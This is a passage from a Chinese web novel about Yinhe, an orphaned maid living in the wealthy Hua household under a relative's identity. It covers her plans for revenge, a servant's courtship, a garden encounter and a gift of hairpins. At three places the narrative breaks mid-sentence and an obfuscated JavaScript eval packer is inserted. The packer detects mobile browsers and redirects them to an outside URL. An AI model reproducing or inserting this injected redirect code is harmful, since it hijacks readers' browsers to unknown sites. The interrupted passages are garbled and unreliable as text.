织雨见她伤心,赶紧说:“姑娘莫要难过,以后有我伴着姑娘,姑娘可别嫌弃我不会下棋。” 银荷微微摇摇头:“怎会,我也不是真的下棋,消磨时间罢了。”又惆怅道,“父亲喜欢荷花,家里也有一塘荷花,我看了,好像是回到家中一般。” “那太好了,现下这里可不就是姑娘的家嘛。” 两人一边说,一边穿桥而过,进了屋中。邬嬷嬷和路上买来的一个丫环小朝,早已被人带来了此处,正在候着。邬嬷嬷本有些焦急,见银荷无事,放下心来,自去收拾东西。 很快有小丫环端来热水,织雨上前服侍银荷梳洗更衣,银荷便有些不自在。她自己也是做丫环的,几曾有被这么多丫环围着伺候的经历。 尤其是,织雨还令她想起了昔日由心的大丫环金夕——向来在心中当作榜样的人。 织雨是家生丫环,年岁不大,在花家资格可算挺老了,性子也沉稳。她以为银荷初来乍到,年少羞怯,便打发走旁的人,慢慢说些自己的事。果然,不大会儿,两人已经十分熟络,银荷也放松下来。 这时,老太太那边传膳,织雨便同银荷过去。 老太太平时并不和儿媳们一道用饭,今日因银荷来,请了三位太太。 大太太郭氏向陪房杨嬷嬷哼一声:“乡里的丫头,有什么好见?” “怎么突然来这么个人,谁也没见过,老太太念了个把月。”杨嬷嬷咕哝道。 “年纪大了爱念叨。”大太太不在意地说,“说来这丫头倒可怜、有志气,父母都没了才来投亲。我要诗钰来也因为这个,何况怎么说诗钰也姓郭。——她那个外甥女和我们家哪有半点关系?好听些是亲戚,也不能赖着不走。又不是没了爹——既改了姓,就认到底。谁不明白她们打的算盘——再添两个姓花的小鬼,将来多霸一份家产。以为自己有那个命!”大太太冷笑。 “太太莫嫌我说话俗。恐怕是以为她家里的鸡,个个会下双黄蛋。”杨嬷嬷凑趣道。 大太太不喜二太太,有事没事总要贬损几句,不过,到了老太太屋里,她是满脸透着和气大方。 银荷见了三位太太,吃过饭,众人又说笑一会儿,等老太太午睡,便各自散了。 晚饭后,银荷正收拾东西,瑷宁又来陪她说了说话。 送走瑷宁,银荷问织雨:“家里的事情都是大表嫂在料理吗,她可真能干。” 织雨说:“可不是呢。本是原先的二太太管着,可惜后头她身子不大好,大奶奶嫁过来后就交给大奶奶了,再后来二太太没了,老太太又常说,年轻人能当家作主,方是兴旺之道,这些年就由大奶奶一直管下来。” 银荷方知今日见到那位美貌和善的二太太原来是续弦,便说:“我还以为三妹妹是这位二伯母生的,她们长得挺像,都那么美。” 织雨小声道:“三姑娘确实是现在这位二太太所生,当初她原是姨太太。先前没了的那个还更美,当年中书令的孙女,唉,那样貌和气派,没几人能比得过。”她犹豫一会儿,又说,“也不必瞒姑娘,二太太扶正的时候,老太太不大乐意,不过想着大爷已成了亲,连三爷也大了。这位太太又刚生了五爷六爷一对双生子,亲娘跟前养着到底好些,最后才答应了。” “还有一对双生子,”银荷奇道,“果真长得一模一样?” “一模一样,我们也经常认错,明天姑娘看分不分得出。老太太说早上几位公子过去问安的时候,正好请姑娘都见一见。” “啊,明日么。” 5. 兄弟 第二日,银荷一早就去老太太处,众人皆已到齐,站了一屋子。银荷恐自己迟了,正不安时,老太太携过她手,笑道:“由儿莫怕,今日是为让你见见你的伯父、兄弟们。” 银荷便一一行礼认识。 先前,她从由心口中听过花家的一些事,昨晚,织雨又为她介绍了孙辈人物,银荷全部默默记在心里。 花家有三位老爷。大老爷和大太太生了二公子,以及大姑娘二姑娘两位姑娘。大姑娘出嫁几年了,二公子是年前刚成的亲。 二房这边人口最多,原先的二太太生了大公子和三公子,现在的二太太生了三姑娘,及五公子六公子一对双胞胎。 三老爷呢,并非嫡出,但亦由老太太教养长大,曾经中过状元,少时,与由心的父亲曲展相与甚厚。三老爷三太太膝下只四公子一个。 现下,三老爷外派出去了,已有好几年不在家。除了三老爷,三公子也出门在外。其他人,银荷都见到了。 两位老爷皆着常服,形容儒雅,看来是可称为国之股肱那一类人。大老爷竹清松瘦,温厚谦和,二老爷端眉肃目,气宇轩昂。 旁边立着孙辈们,大公子约莫二十六、七岁,神貌肖似其父,仪表堂堂,不苟言笑。银荷觉得就算事先不知,也能看出他和大奶奶瑷宁正是一对,两人都气度雍容。 二公子二十出头的样子,身量适中,形容飘洒,沉稳大气不输其兄,但要多出几分和煦,近旁二奶奶映雪带着温柔羞涩的神情,也是一双壁人。 四公子斯文有礼,还带几分少年模样。老五老六相貌打扮毫无二致,不过六七岁,腮上颤嘟嘟挂着两团肉,却也恭然端立,强作稳重之态,瞧着很是喜人。 银荷心中暗道:一家人好齐整模样,子孙皆不似凡辈,原来人们常说的诗书簪缨之族就是这样,现下见到了,果然不同一般。 两位老爷不免各自嘱咐,要她安心在此,切莫见外。又说数句话,几人便辞了老太太去上值,几位太太说一会儿话,也各自散了。 老太太留下老四花涛,问了他近日情况,叮嘱一番,待他走后,便向银荷说:“你四表哥父亲不在家,他又准备秋闱,成日捧着书本,我怕耽搁了他晨读,平日也不太要他来我这里。你刚到,先见上一见,将来兄弟姐妹们常在一起,彼此和气,高兴了就一块说说话、解解闷。你身子单弱,以后不用这么早过来。在矴州习惯了的,能照旧便照旧,想做什么又不好说的,先问问织雨也行,千万别自个儿委屈。” 银荷连忙答应了。老太太又对瑷宁说:“我吃着的燕窝还好,每日多做一碗,给曲丫头送去。”想了一下她又说,“涛儿那边也送一份,我看他这两日又瘦了些。用功固然是好事,也用不着苦读过头伤了身子,非得萤窗白雪的,挣上个状元。他父亲也不是逼着儿孙念书的人,就是他自己,当初哪里就用功过,书不见翻便记进肚里了。怪道有一说是文曲星下凡,那还能一次次都下到咱家里来?” 瑷宁笑道:“大爷也和我说起过,他说看四弟放不下书本,倒并不是为争头名二名,也不是为应付三老爷,四弟就是喜爱学问。” 老太太也笑了:“那便由着他吧,自己喜欢比什么都大,天老爷也管不得。”她说着又叹一声,“我也是,哪有嫌儿孙太上进的,只别累着就好。幸而孙辈们都懂事,也不用操心。谁知澈儿竟完全是另一个样子,也不知他喜好什么,在家哪里不足,非要出门去。” 大家都知道老太太疼爱孙儿女,最疼的便是老三花澈,但他正月没过完就出门了,差点把老太太气病,如今,还隔天就要念叨一番。众人忙从旁劝慰,老太太恐银荷初来不自在,也就放下孙子,引她谈些闲话,半日方才散了。 . 话说李得在花府住了两日,便要动身回去。他向银荷辞行,拿出几张银票来:“这是老爷留给姑娘的。” 是京城票号开出的通兑票子,约莫有五、六千之数。银荷知道这定是曲家老早前就积下、本是为由心备着的,她咬住嘴唇不肯去接。李得说:“收着吧,自己收着。他们这样人家不会在意。万一你将来有需要,还是放在手边好。” 见银荷不动,李得将银票交给邬嬷嬷说:“我还有几句话对姑娘讲。” 邬嬷嬷走开去,李得便说:“我知道姑娘心里想什么,姑娘莫心急。这事急不得,给我些时候。” “得叔,你——”银荷声音颤抖着。 “我和姑娘想的是一样——不能放过那个姓葛的。” “我们找他去!”银荷激动地喊。 “先别急。”李得摇摇头,“我想过了,我先去勐州打听打听,运气好的话许还能和他家搭上些关系。等把他们底细摸清了,再想办法。” “打听到了,别动手,先告诉我。”银荷急道。 “姑娘放心,我不会贸然行事。我李得虽无大能,但还稀罕自个儿这条命。我肯定和姑娘先商量好,姑娘同意我才干,到时还需要姑娘帮忙。” “好,我等着。”银荷同样郑重地说。 李得又说:“这不是几天的工夫,从头到尾的事情都要细细安排,恐怕要一两年。” “嗯。”银荷点头,“我明白。我不会着急,不论多久,只要最后能成——一定成。只是得叔你千万小心。” “是,我答应姑娘。请姑娘也答应我,没接到我的消息之前,姑娘在这里好好过,别叫人瞧出来。当日由心姑娘嘱咐过我,如果不能确保姑娘安好,我就没法放心离开。” 银荷用力点头,眼泪一滴滴落下来。 “我走了,姑娘保重。” “等等,”银荷急忙擦眼睛,“葛全有家里有生意,你把那些钱带着,扮个阔人,更容易和他们打上交道。将来事情了了,你回去也置些房舍田地,寻个好生计。” 李得笑了:“姑娘考虑得周全,不过我这里有银子,不管干什么都足够使,老爷前面就把我们安置得很妥善了。姑娘需要的地方更多,在这儿待着,其实不容易。” “我不用,留一点儿就够了。”银荷坚持。 两个人都很执拗,最终,李得抽出一千两,说什么也不肯再多拿,收拾了几件衣物,便骑马去了。 李得一走,银荷更加依赖邬嬷嬷。花府的规矩,小姐大了知礼仪后,便不需要嬷嬷日夜陪伴。那些嬷嬷们大都另管了事情,等姑娘出门时,方又跟了去,在婆家帮衬协理。老太太怜悯侄孙女身边就剩邬嬷嬷这么一个老人,要她住在清圆居中,怕她不自在,又要瑷宁给她寻个清闲差事。 瑷宁和邬嬷嬷说了几句话,见她穿戴整洁,手脚麻利,脑筋清楚,遂安排她去采买、分配家中大小丫环的日常所用。 这活儿不算多重,东西选好自有人送来,只要按人头分发下去。不过府里有百十个丫头,每人又有十来样东西,东西多寡好坏还分了三四等,之外时不时有人零七碎八地要求提前添换这个那个,要把这些都搞得清爽可不容易。所以瑷宁并非要邬嬷嬷独个儿干,而是让她去帮着别人。 这差事上原先就孙嬷嬷一人,她是已故二太太陪嫁过来的丫环,早就放出去嫁人了。她那个丈夫起初还好,后来不知怎的学人去赌,很快就输得家徒四壁。丈夫死后,孙嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892543|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷带着儿子过不下去,大公子花沛看她可怜,让她再回花府做事,她那儿子便也做了小厮。 差事油水厚,孙嬷嬷本是心满意足,可突然又安插个人进来分一杯羹,她闷头闷脑很不高兴。谁知这日儿子王兆喜刚好回家,她又喜欢起来,围着儿子来回忙乱。 兆喜平日给花沛跑腿打杂。每个富贵人家公子身边都有这么些人,干些无甚紧要的事,但兆喜却自居是个非同小可的人物,总是做出很忙的样子,基本不着家。孙嬷嬷也难得见儿子一次,逢他回家必搬出藏起的好酒给他犒劳,又买几样鸡鸭下酒。这时她问兆喜吃过不曾,听说吃了,犹不甘心,又吩咐小丫头去热些肉饼。 兆喜只管在屋内转悠,一时掸掸身上,一时翘腿坐下,心不在焉听母亲唠叨。等吃完肉饼,抹抹油嘴,才说:“有什么犯难,不就是个打秋风的亲戚,吃咱家的饭,穿咱家的衣,也足够她了。大奶奶为讨老太太喜欢,让她干几天,长不了。等过上十天半月,老太太准保忘了这人,到时候我想点儿办法,看她敢不走。” 孙嬷嬷将信将疑,仍是说着,兆喜已经不再听了。丫头过来撤碗盘,兆喜就趁便在她身上摸一把,皱皱眉,向母亲道:“这丫头子不中用,见放着银子,不如买个好的给娘使唤。” “你常不来家,我一个人哪里要使唤。你晓得好坏?——不看自己是做什么的,让人说把你狂的。”孙嬷嬷叨叨不住。 兆喜回嘴:“奴大还能欺主哩,咱们一味老实。” 孙嬷嬷正要说话,兆喜却丢开这头,冷不丁问:“娘,家里有多少银子?” “干什么?”孙嬷嬷有些受惊吓地望着儿子,“那是留给你成家用的。” 兆喜眼一亮:“我就是要说这事儿,不劳娘多操心,我已经看好了人。” “怎么不早说?是谁啊?”孙嬷嬷满怀希望地盯着兆喜问。 “蝉影。大爷妹子跟前的。” “蝉影?”孙嬷嬷喊叫起来,“就是那个黑丫头,她爹瘫在床上的?” “人家那叫黑里俏。再说和她爹什么干系,又不是我上她家。怎样,娘去给我说说?” 孙嬷嬷连连摇头:“不妥不妥。那丫头鬼大不服管,连太太跟前她还说嘴犯牙呢,娶进来不得骑到你头上?” “哪门子太太?娘莫非忘了本,蝉影可是咱们太太都看着好的。” “我看织雨不错,人也庄重。”孙嬷嬷赶紧把自己的打算提出来,“先前她跟老太太,咱们不敢去求。可巧半路来了表姑娘,又好说话,你再去求求大爷,没有不准的。不行先定下来,等一时表姑娘出门了,还留下织雨,谁也说不出什么。” “娘,你就别瞎掺和了,我就看中蝉影了。”兆喜生气地说。 “她哪有织雨模样好?” “脸子算得了什么,”兆喜不屑道,“女人得看身子——”猛然想起对面是母亲,他把几句荤话咽了回去,“别的不用你管,只把她给我娶回来就完了,然后你老人家就等着享福吧。” “享福?我可伺候不了她。”孙嬷嬷嘀咕着,又问,“大爷答应?” “那可不。大爷不管这些,只要我们两下里说好。而且我成了家,大爷也看我更稳重。到时姑娘那边少不了还给蝉影赏笔陪嫁,保管体面。咱现在是时运正旺,把好事都紧着办了,没错!爹知道,也得说押对了注。——不提爹了,你就快快地去吧,赶紧上她家提,啊?” 孙嬷嬷溺爱儿子,更有点惧怕他,从没违背过他的意愿,尽管心里老大不乐意,但禁不住兆喜威逼哄诱,到头来还是答应了,自去准备起来。 6. 午后 银荷来到花家,认识了几位姑娘、表姑娘,也是小孩子心性,难免暗中比较一番:二姑娘胜在颇有大家千金的气派,和大奶奶那种骄矜气度有几分相像,可惜我到底学不出这种气派来。三姑娘天真娇柔,一见就让人喜欢。郭姑娘海棠花一般的样貌,可算是最美的。戚姑娘又是另一种形容,未语先低头,再惹人怜惜不过。我是比不了她们,可她们却都比不上由心姐姐,要是姐姐来此,不知这些人要怎么震惊呢。 想到曲由心,她又是骄傲又是伤痛,也不想再和别人玩耍,一味闷在屋里写字。 这几日老太太身上不太爽利,又心疼几位姑娘大日头下跑来跑去,便要各人在自己屋里用午膳。银荷一人用饭随意许多,比往日还多吃了些,吃过后不好马上休息,又铺开纸笔。 织雨便上来磨墨。小朝连打了几个哈欠,又要给银荷扇扇子。银荷连连推她:“你们都去,谁也不用守着。我只写一会儿便罢。”两人知道银荷的脾气,被再三催后便自去歇午。 银荷写到酣畅处,一连写满了四、五张纸。 她并没有临帖,写的是由心的字体。由心差不多就是她的写字老师,横竖撇捺她都是照由心学的。要说她与由心相像,最像的恐怕就是字迹,打眼一瞧几可乱真。 其实不然。以前她时常在由心的字中插几个自己写的,甚至在一个字中只写上一笔,完成后扭头就连自己都辨不清,曲展却每每能准确指出来。初时她深以为异,后来就明白了:没有姑娘那样心怀,光学个皮毛远远不够。 现在,她却迫切想要真正和由心一样,哪怕只是书写。写出由心的字,仿佛就可以将由心留在身边、留在世间更久。 她每日花很多时间练习,进步显著。过去照着临,存心要写成一样时反而不像,现在她只在脑中想着由心的字,想着由心本人——写字时她就是由心,由心的抱负、憧憬在她胸中激荡。慢慢地她自己也能看出变化来。 这时又写完一页,银荷搁下笔,叹口气,或许展老爷见到,也不会再说她“仅得形,未得神”了。可由心的影子还是渐行渐远渐淡薄。她跑出屋去。 室外的炎热反让银荷痛快不少。来花府月余,她还没有仔细逛过园子,此时一人出来,也懒得再压抑自己,兴之所至,抬脚就走,径自向往日未曾踏入的地方走去。 一路上忽而游廊曲槛,忽而林荫花|径,银荷只顾将这些看在眼中,却没留意到了何处。走着走着才突然发现,不但是个陌生地方,周围竟半个人影都不见。 这时候阖府上下莫说人了,恐怕连鸟儿也全都在休息,她心想,自己不禁也感觉疲累。四下一望,正好前面有几棵桂树,树冠如盖,绿草如茵,便上前找个干净地方,靠树坐下,发起呆来。 自她来到花府,从旁人看,日子不可谓不舒心:老太太疼爱,吩咐下去,百般事情自有人伺候得周周到到。但银荷心中别有所思,却是要时时小心,未尝享片刻悠闲自在。 难得这会儿似乎可以疏忽一点了——此一时,庭院幽深,远近无人,只听得漫长、高亢的蝉鸣声;没有一丝风,但树影在轻抚她的脸,不知何处的花被午后的热气一蒸,散发出颓靡而又甜醉的香味。她浑然忘却了自己是谁,不知不觉中竟躺倒睡熟了。 可巧这日上午花沛外出办公务,还需回家拿几件东西,再往衙门去一趟。烈日当头,不一会儿他就出了一身汗,懒怠绕到正门,便在后门停下,吩咐小厮牵马去饮,心想这时碰不见人,斜穿过花园回屋换身衣服再去书房,倒凉快便利。 花沛成年后就很少独个儿进花园,后来家里亲戚多,更不便随意游逛,此刻倒感到园子分外静谧可爱。不过有事在身,他也无心观景,眼皮不抬匆匆走着,猛然发现前面树荫下卧着一个女子,枝影斑驳,看不真切,他还当是哪个丫环。 花沛平素对府中仆役诸务并不挂心,但逢事找他时也通情达理,说得上体恤下人。偷闲躲懒还不打紧,可随意在园中卧眠毕竟大不成体统,兼之他又想到瑷宁管家,要是被人看到仆人无规无矩,难免会落个管束不力的话柄。天热心躁,他先带了三分气,抬步过去欲呵斥几句,不想走近一瞧,却是矴州来的表妹。 花沛一愣,想要快快离开,但不知为何却立着没动,又多看了一眼。 这一眼看清了所有不该看的:树下的人面朝外半侧卧,脸颊枕在一只手上,另一条手臂随意舒展着。衣料如薄云般轻柔地覆在她身上,随着身形弯拢出优美的线条。她睡得很香,面上带着淡淡的晕红,密密的两排睫毛安安静静没半丝颤动,呼吸就如同花草的呼吸一样,轻得让人无法察觉。 花沛几乎不敢喘气。 除了妻子,他还从未见过姑娘的睡颜。这到底是谁,当真是自己的表妹? 因为睡相恣意,沉睡的人比平日更多几分稚气,但不知哪里——许是袖中露出的那一截细溜溜的圆腕子,许是微微翘起而显得更加圆润精致的唇珠——又透着些不大规矩、撩拨人的意味。半是孩子,半是女人。 花沛如同被施了咒一般,站在原地动弹不得,只觉出心突突跳着。 他不知该如何是好,原有的立场似乎无法坚持。表妹到底是天真懵懂还是有意放纵?她看来那么纯洁无瑕,但有哪个洁身自好的姑娘家会露天而睡,还被男子看到? 要是自己的亲妹妹,他定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16892544|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会火冒三丈。可是,换了表妹,为什么就觉得不那么严重了,因为看到的人是自己?还好看到的人是他。那么,回头让瑷宁提醒表妹一下?不,这也没必要,她又没做错什么。 花沛觉得自己好像一分为二,左右摇摆,一时在指摘表妹,一时又怜惜地为她辩护。这等行为放到谁身上都逾矩之至,唯独表妹……之前表妹留给他的印象已经一片模糊,他好似头一次认识了她。譬如林中女妖,无法用礼俗的陈规旧套来评判要求。 醒悟到自己将表妹联想为妖精,花沛猛然一凛。一个道行还不够深的妖精,但毕竟也是个妖精。 花沛感到自己在这里的时间实在已经太长了,终于拔起脚来,退后两步,想要走开。谁知刚巧踩在一根树枝上,咔嚓一声,睡着的人顿时惊醒,睁开眼睛坐了起来。 “大……,大表哥。”银荷猛然醒来,看到面前的人,大惊失色。 妖精不见了,果然只是表妹。花沛也不辨心中哪般滋味,最初的打算是道歉两句,赶紧离开,想想又忍住了,这时再掩饰躲闪并不体面。他一边微微侧身别开脸,一边问:“你的丫环怎么把你一人丢在这儿?” 银荷当真是大窘,懊恼万分,她也不知为何竟会睡着,还刚好被花沛碰到,实在是失礼得紧。她赶紧站起身来,拽拽衣服,结结巴巴地解释。 花沛感到表妹虽一味慌乱自责,但并没有羞愤难禁,不由松了一口气,便转过身来,摆出兄长样子说:“天热也莫要贪凉,恐于身体有碍。”到底不好直接说出怎能随意睡在地上,园子里人来人往被看到不适宜之类的话。 银荷从初醒的惊慌中略平复,想自己这般失态偏又碰到一向严肃的花沛,只怕要挨顿苛责。又觉自己起来后定是衣衫不整,鬓发凌乱,心下很是着急,只想快快走掉,便说:“今日是我错了,多谢大表哥提醒。以后再也不会这样了,请大表哥莫要生气,否则我更是无地自容。” 花沛忙道:“表妹言重了,我并没有生气,你不用担心。”他看见姑娘脖子旁边散开几缕细细茸茸的头发,身上被猫尾巴扫过一般,赶快掉转开视线。 也不知两人谁更窘迫,花沛抬手摸摸耳后,定神说道:“表妹快快回去吧,免得丫环着急,四处寻你,再惊动了老太太。可要我叫人送你?” 银荷知花沛有意替自己掩饰,稍稍放下心来,赶紧说:“不必麻烦了,我这就回去。”花沛也觉得此事确实不好被人知道,便点头应允。银荷略福一福,转身快步走开。 花沛在原地又站了片刻,直至晕眩感稍稍减轻。当天剩下的时间里,他始终感觉到微微的眩晕,并将其归结为在大日头下跑了太久的缘故。 7. 金簪 这天,花沛散值回到家,一进屋就看见到处摆满了大大小小的首饰箱子,瑷宁正手捧册子对照着翻找,因问起是何故。 瑷宁道:“老太太说表妹身上太单调,让我给她找几件首饰戴戴。” 花沛一听就明白了,这是指由心表妹,瑷宁提起诗钰和戚晚,从来不带“妹”字,最客气的时候,也不过称呼她们是表姑娘。 距树下遇到表妹已过了四五日了,可这时听见说起她,他还是心中一惊,没说话便走开去。 等他换好衣服出来,瑷宁还没挑选完。 “先不急着传饭吧,你也来帮我看看。”瑷宁叫住他,“说起来都怨你,我东西也不少了,你还给我这簪子,还这么亮晃晃的,今儿才戴上,叫老太太看见了,想起来就说表妹来家这么久,还没几件插的戴的。可不是怪我薄待了表妹,我上哪儿辩去?其实我是想着因她还在孝中,不便戴那些华丽钗环。”她虽板着脸,语带委屈,眼里却闪出笑意。 花沛盯着瑷宁头上的红翡凤尾发簪。由来是一个同僚要给将出嫁的妹妹选贺仪,不好意思独个儿进银楼,也拽了他去,他一眼看到这支簪子,觉得正配瑷宁,就买了下来。前后至多不过相隔半月,现在想起竟恍恍惚惚。 他说:“我不饿,你慢慢找。老太太清楚你素日为人,不至于误会,她疼爱表妹,你就多拿几件。我不懂这些,你自己瞧着办吧。” “我看你挺会挑选,来出个主意。”瑷宁偏拉住他不放,“我大概看过,我瞧着好的都是母亲留下的,三弟又不在。其它的样子就普通了。——要不从我那些里面选几样没大戴过的?” 花沛知他母亲的嫁妆首饰一半已给了瑷宁,其余的自然是留给三弟将来的妻子。即便问三弟,他未必会介意,但到底不合适。可是要瑷宁把自己的拿来送表妹,他隐隐约约也觉得不合适。想了一下,他便说:“你喜欢的,还是自己留着吧。给表妹再另买几件好的来,能费多少,何必为难。” “行。不过这里搬了半日,摇铃打鼓的,恐怕都知晓了。——干脆一并找几件给那两位,省得人家说话。” “更好。”花沛点点头,“太太见了也高兴。” 瑷宁又自去挑拣,过了会儿,她从个不起眼的小木匣中捻起一根簪子,奇道:“咦,这个没见过,也不在册上,哪里来的。从没见过这种,好生别致。” 花沛向她手上看了一眼,立即认出那是他母亲珍藏多年、没舍得戴过的东西。有几次他曾见到母亲把它拿在手里细瞧。 不等他说话,瑷宁已经走到镜前,把簪子插入发中。“你看怎样?” 镜中现出一张笑靥如花的脸,只一瞥花沛就急忙转开头。他走到瑷宁身旁,直对她本人,而非那个让他不安的影子,这才开口:“不错。不过你戴原来这支也很好。” 瑷宁笑道:“可不是。大爷的眼光,谁敢说差?”但她还是又对镜看了好几眼,才依依不舍拔下来,“那这个就给表妹?只是不知道来历,要不要再翻翻看。” 花沛从房间另一头喊:“不必了,就给表妹吧,不值当寻根觅源的。我去叫人传饭,这会儿饿了。” 隔日,瑷宁喊了银楼的人来家,千挑万选出来几样,又为诗钰、戚晚也捡了两副镶玉嵌宝的钗环,共值了大几百银子。拿去给老太太过目,老太太果然欢喜不禁,非要自己出这笔钱,被瑷宁拿话哄过去了。回头瑷宁就找到织雨,把东西给她,又嘱咐了一番。 银荷收到后打开盒子一瞧,久久没有说话。 织雨问:“姑娘瞧着喜欢么,大奶奶说要是不合姑娘心意,只管找她去换。” “喜欢——就好像全是我自己选的一样。” “那可好,”织雨笑道,“大奶奶又该得意了,她说姑娘肯定喜欢,虽说是老太太送几位姑娘都有,只有姑娘你的是大奶奶费心挑的。” 银荷心中说不出地感激,又觉得受之有愧。这些正是她喜爱的样式,也一定是由心喜爱的。从前,两人差不多都是混戴首饰,不分你我。那些物件大都随着由心一起下葬了,银荷只留了最简朴的几样。她没想到瑷宁竟能将她的喜好摸这么准。要是由心在这里,打扮起来会多么美啊。 织雨又说:“姑娘快试试吧。呀,这支簪子真好看。” “真的,我也最爱这个。”银荷细细打量:一支打磨光滑的沉香木上簪着黄金打造的花枝,枝头是朵将放未放的芍药,无一处不栩栩如生,就连叶片上的脉络也刻画分明。花瓣薄而微卷,层层叠叠,好像在心中藏好了一个秘密,又仿佛下一瞬就真会绽开一般,不知是何等能工巧匠才能制出来。银荷越看越爱,不忍释手,便将它插在头上,走到镜前。 她从不觉得自己容貌过人,也不在意,难得揽镜自怜。这时猛然从镜中看到一个有些陌生的少女,几乎不敢相信那个亭亭玉立、双眸闪亮的姑娘是她本人。 织雨也看得呆住,“姑娘真是,真是……哎呀,我都没词儿了。小朝,快来瞧瞧。” “喊她做什么,肯定不知跑哪里疯去了。” 不想小朝立即蹦了进来:“姑娘我在呢。” 小朝原来叫招娣,是个面黄肌瘦的孩子,来了不到两月,不仅脸儿渐渐圆起来,更成了个招人喜乐的姑娘。大家都笑话她一张嘴总不闲着,多会儿都在吃,多会儿都在说,多会儿都在笑。她天真烂漫、言语无忌,当下就把银荷夸得更加不好意思。“你还是不在屋里的好,净吵人,赶紧出去玩去。” “今天蝉影姐姐回家了。”小朝遗憾地说。 “难怪呢,就来烦我。你跟着三姑娘去算了。”银荷笑道。 几人又闹一会儿,银荷试过各样东西,拣出两三件日常搭配,其余的便交由织雨先收好。 且说小朝嘴里的蝉影姐姐,正是兆喜惦记着想娶到手、三姑娘花瑶的贴身侍女。虽然花家的丫环几乎个个都不简单,蝉影依然值得一提。 她眉目秀气,身形苗条,美中不足是肤色黑了些,不过那一对眼珠子更黑,乌溜溜像两丸黑玛瑙;耳朵上不挂环儿坠儿,总穿着两朵小花,有时是丁香,有时是茉莉,甚而也有地上揪棵酸浆草充数的时候。她未必就是独一个这么干的,却颇有些别人想学而学不来的俏丽。 蝉影心直口快,好与人拌嘴,其他大丫环提起她都要皱眉头,但院子里的小丫头们全喜爱和她玩,因为她很懂得几样淘气办法。 就是这么一个人也有烦恼:蝉影的父母本都在花府做事,一年前她父亲不慎摔伤后就一直卧床,只好由母亲回家照顾。天气炎热起来,病人自然更加难熬,蝉影心中牵挂不下,这日告了假,向家里走去。 听见门响,蝉影娘抹着汗出来:“怎么又回来了,大热天的。” “没事,又不多么远。”蝉影放下东西朝里屋走,“我先去看看爹。” 蝉影爹正在昏睡,见到闺女回来,勉强睁开眼略说几句话。蝉影娘端了桃子进来说:“平日听你念叨闺女,如今回来了倒不说话了。又给你拿了果子来。”她转向蝉影,“现在你爹就愿意吃你拿来的果子,外面买的不要,嘴还越来越刁了。” “那有什么,下次我多拿些,姑娘听说我回来特叫带上的。”蝉影说着将桃子切成小块喂给她爹吃。 蝉影娘等父女两个说了一会儿话后,就拉拉蝉影的衣服,使个眼色。蝉影跟她娘走到外间,小声问:“爹这一向都这样?要不要再请大夫看看,还是再雇个人?娘也别累着了。家里银子还够使?” 蝉影娘脸有些红:“还够还够。你爹就那样,大夫也看过,我还照看得了。”她拉蝉影坐下,“前些日子王大娘——就是孙嬷嬷,来咱们家了。” “她来干什么?”蝉影奇怪地问。 “是为了她儿子,叫兆喜的,跟着大爷,你见过吧?”见蝉影瞪着眼没吭声,她又笑眯眯地说,“是想和咱们结个亲家。” “谁?王兆喜?好大的脸。——下次再来,娘只管撵他们出去。” “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那我也不用着急嫁人。”蝉影又来了气,“别说王兆喜那个二流子,就是比他好一千一万倍也不行——我就一辈子跟着姑娘了。” “唉,就是说这个。你们姑娘总要出门的,到时你也跟着去?还不知道嫁到什么人家,规矩大不大,姑爷好不好伺候。万一婆家人厉害,你们姑娘性子又软和,那时候还能顾上你?” “没有的事。他们诗书礼仪之家,才不会欺负姑娘。”蝉影急辩道。 “谁家?” 蝉影脸红了,“反正姑娘肯定嫁到好人家。” 蝉影娘不由笑了:“姑娘的婚事,能轮到你说话算?还是说你,也不急在一时,你再考虑考虑——” “不用考虑。”蝉影坚决道,“王兆喜绝对不行。” “你要真不愿意,我就想法儿去回个话,还得拣软话说,”蝉影娘叹道,“说不定将来人家出息了。” “他出息他的,和咱们有什么关系,我就是瞧不上他。不过都是奴才,谁还巴结着谁不成?”蝉影冷笑。 “好,我和你爹帮不上你,也不靠你。你主意大,自己瞧着吧。我也不指着长乐了,反正儿女大了,一个个都自走自的,你为他好,他以为是害他。我就守着你爹,等哪天我也动不了了,可省了多少事。”蝉影娘起初带了怨恨,说着说着又抹起眼泪来。 “行了,娘,你别说这种话。等姑娘出了门,我就回来照顾爹。还要让你们长远享福呢。娘不喜欢留我,愿意我嫁人也行。——我非得找到个好的,不然也算白见识了这些年。” “什么好的?”蝉影娘眼泪一下就干了,坐直身子说,“你以为谁都是给你备着的?在府里待了几天,就以为能攀扯上爷?当初想勾引大老爷的,被大太太都活活打死了,你趁早别有那个想头。” 蝉影腾地站起来,气道:“我就合该一辈子比别人贱,不跟着那些下三滥的,就是攀扯?那我就去攀扯攀扯,就是让人打死了,也好过嫁给姓王的。”说罢,饭也不吃,转身回了花府。 8. 秋千 正当银荷渐渐适应在花家的生活时,邬嬷嬷却动了离念。 从前曲府人口少,事情清爽,她照顾小姐,实际地位更近管家。花府上大不一样,人多事杂。俗话说:人上一百,各形各色儿。只有为私利这一项上,才能所有人难得一致。花府的老仆们看见新来一个不认识的,难免生些磕绊之事。 